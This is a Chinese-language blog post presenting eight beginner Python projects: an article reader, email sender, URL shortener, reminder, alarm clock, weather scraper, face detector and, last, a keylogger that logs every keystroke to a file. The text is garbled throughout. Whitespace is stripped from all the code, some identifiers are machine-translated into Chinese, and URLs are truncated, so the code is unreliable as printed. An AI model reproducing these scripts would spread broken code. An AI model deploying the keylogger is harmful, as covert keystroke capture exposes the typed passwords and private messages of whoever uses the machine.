大家好,我是陈诚~在使用Python的过程中,最喜欢的就是各种第三方库Python。可以做很多。这里有8个用Python构建的项目来学习Python编程。您还可以根据项目的目的和提示构建自己的解决方案,以提高您的编程技能。01ArticleReader目的:编写一个Python脚本自动从提供的链接中读取文章。importpyttsx3importrequestsfrombs4importBeautifulSoupurl=str(input("粘贴文章url\n"))defcontent(url):res=requests.get(url)soup=BeautifulSoup(res.text,'html.parser')articles=[]foriinrange(len(soup.select('.p'))):article=soup.select('.p')[i].getText().strip()articles.append(文章)contents="".join(articles)returncontentsengine=pyttsx3.init('sapi5')voices=engine.getProperty('voices')engine.setProperty('voice',voices[0].id)\defspeak(audio):engine.say(audio)engine.runAndWait()\contents=content(url)##print(contents)##如果你想看内容#engine.save_to_file#engine.runAndWait()##Incaseifyouwanttosavethearticleasaaudiofile02自动发送邮件目的:写一个Python脚本,可以用这个脚本来发送邮件。提示:电子邮件库可用于发送电子邮件。importsmtplibfromemail.messageimportEmailMessageemail=EmailMessage()##为EmailMessageemail['from']='xyzname'创建一个对象##发送邮件的人['to']='xyzid'##我们是谁sendingemail['subject']='xyzsubject'##电子邮件主题email.set_content("Xyzcontentofemail")##contentofemailwithsmtlib.SMTP(host='smtp.gmail.com',port=587)assmtp:##向服务器发送请求smtp.ehlo()##服务器对象mtp.starttls()##用于在服务器和客户端之间发送数据smtp.login("email_id","Password")##gmailsmtp的登录ID和密码.send_message(email)##发送邮件print("emailsend")##打印成功消息03短网址生成器目标的:编写一个Python脚本,使用API??缩小短给的URL。fromfutureimportwith_statementimportcontextlibtry:fromurllib.parseimporturlencodeexceptImportError:fromurllibimporturlencodetry:fromurllib.requestimporturlencodeexceptImportError:fromurllib2importurlopenimportsysdefmake_tiny(url):request_url=('tinyurl.com/api-create({'url':url}))withcontextlib.closing(urlopen(request_url))asresponse:returnresponse.read().decode('utf-8')defmain():fortinyurlinmap(make_tiny,sys.argv[1:]):print(tinyurl)ifname=='main':main()-----------------------------输出-----------------------pythonurl_shortener.pywww.wikipedia.org/tinyurl.com/buf3qt304ReminderApplication目的:创建一个提醒应用,Remindyouto在特定时间做某事(桌面通知)。提示:时间模块可用于跟踪提醒时间,toastnotifier库可用于显示桌面通知。安装:win10toastfromwin10toastimportToastNotifierimporttimetoaster=ToastNotifier()try:print("提醒标题")header=input()print("提醒信息")text=input()print("还有多少分钟?")time_min=input()time_min=float(time_min)except:header=input("提醒标题\n")text=input("提醒信息\n")time_min=float(input("多少分钟?\n"))time_min=time_min*60print("设置提醒..")time.sleep(2)print("全部设置好!")time.sleep(time_min)toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True)whiletoaster.notification_active():time.sleep(0.005)05闹钟目的:编写Python脚本创建闹钟。提示:您可以使用date-time模块创建闹钟,使用playsound库播放声音。fromdatetimeimportdatetimefromplaysoundimportplaysoundalarm_time=input("请输入要设置的闹钟时间:HH:MM:SS\n")alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period=alarm_time[9:11].upper()print("设置闹钟..")whileTrue:now=datetime.now()current_hour=now.strftime("%I")current_minute=now.strftime("%M")current_seconds=now.strftime("%S")current_period=now.strftime("%p")if(alarm_period==current_period):if(alarm_hour==current_hour):if(alarm_minute==current_minute):if(alarm_seconds==current_seconds):print("WakeUp!")playsound('audio.mp3')##从linkbreak06下载闹钟声音应用目的:编写Python脚本,接收城市名称并使用爬虫获取该城市的天气信息。提示:您可以使用Beautifulsoup和请求库直接从Google主页抓取数据。安装:requests,BeautifulSoupfrombs4importBeautifulSoupimportrequestsheaders={'User-Agent':'Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/58.0.3029.110Safari/537.3'}defweather(city):city=city.replace("","+")res=requests.get(f'www.google.com/search?q={c...print("在谷歌搜索......\n")soup=BeautifulSoup(res.text,'html.parser')location=soup.select('#wob_loc')[0].getText().strip()time=soup.select('#wob_dts')[0].getText().strip()info=soup.select('#wob_dc')[0].getText().strip()weather=soup.select('#wob_tm')[0].getText().strip()print(location)print(time)print(info)print(weather+"°C")print("输入城市名称")city=input()city=city+"weather"weather(city)07人脸检测目的:写一个Python脚本,可以检测一张图片中的人脸,并将所有的人脸保存在一个文件夹中。提示:可以使用haar级联分类器进行人脸检测,它返回的人脸坐标信息可以保存在一个文件中。安装:OpenCV。下载:haarcascade_frontalface_default.xml\raw.githubusercontent.com/opencv/open...importcv2#加载cascadeface_cascade=cv2.CascadeClassifier('haarcascade_frontalface_default.xml')#读取输入图像img=cv2.imread('images/img0.jpg')#转换成灰度gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)#检测人脸facesfaces=face_cascade.detectMultiScale(gray,1.3,4)#在人脸周围画矩形for(x,y,w,h)infaces:简历2。矩形(img,(x,y),(x+w,y+h),(255,0,0),2)crop_face=img[y:y+h,x:x+w]cv2.imwrite(str(w)+str(h)+'_faces.jpg',crop_face)#显示输出cv2.imshow('img',img)cv2.imshow("imgcropped",crop_face)cv2.waitKey()08Keylogger目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。提示:pynput是Python中用于控制键盘和鼠标移动的库,它也可以用来制作键盘记录器。只需读取用户按下的键,并在一定数量的键后将它们保存在文本文件中。从pynput.keyboardimportKey,Controller,Listenerimporttimekeyboard=Controller()keys=[]defon_press(key):globalkeys#keys.append(str(key).replace("'",""))string=str(key).replace("'","")keys.append(string)main_string="".join(keys)print(main_string)iflen(main_string)>15:withopen('keys.txt','a')asf:f.write(main_string)keys=[]defon_release(key):ifkey==Key.esc:returnFalsewithlistener(on_press=on_press,on_release=on_release)aslistener:listener.join()以上就是我分享的内容,希望对大家有所帮助!如果觉得有用,请点个赞!感谢您的支持!
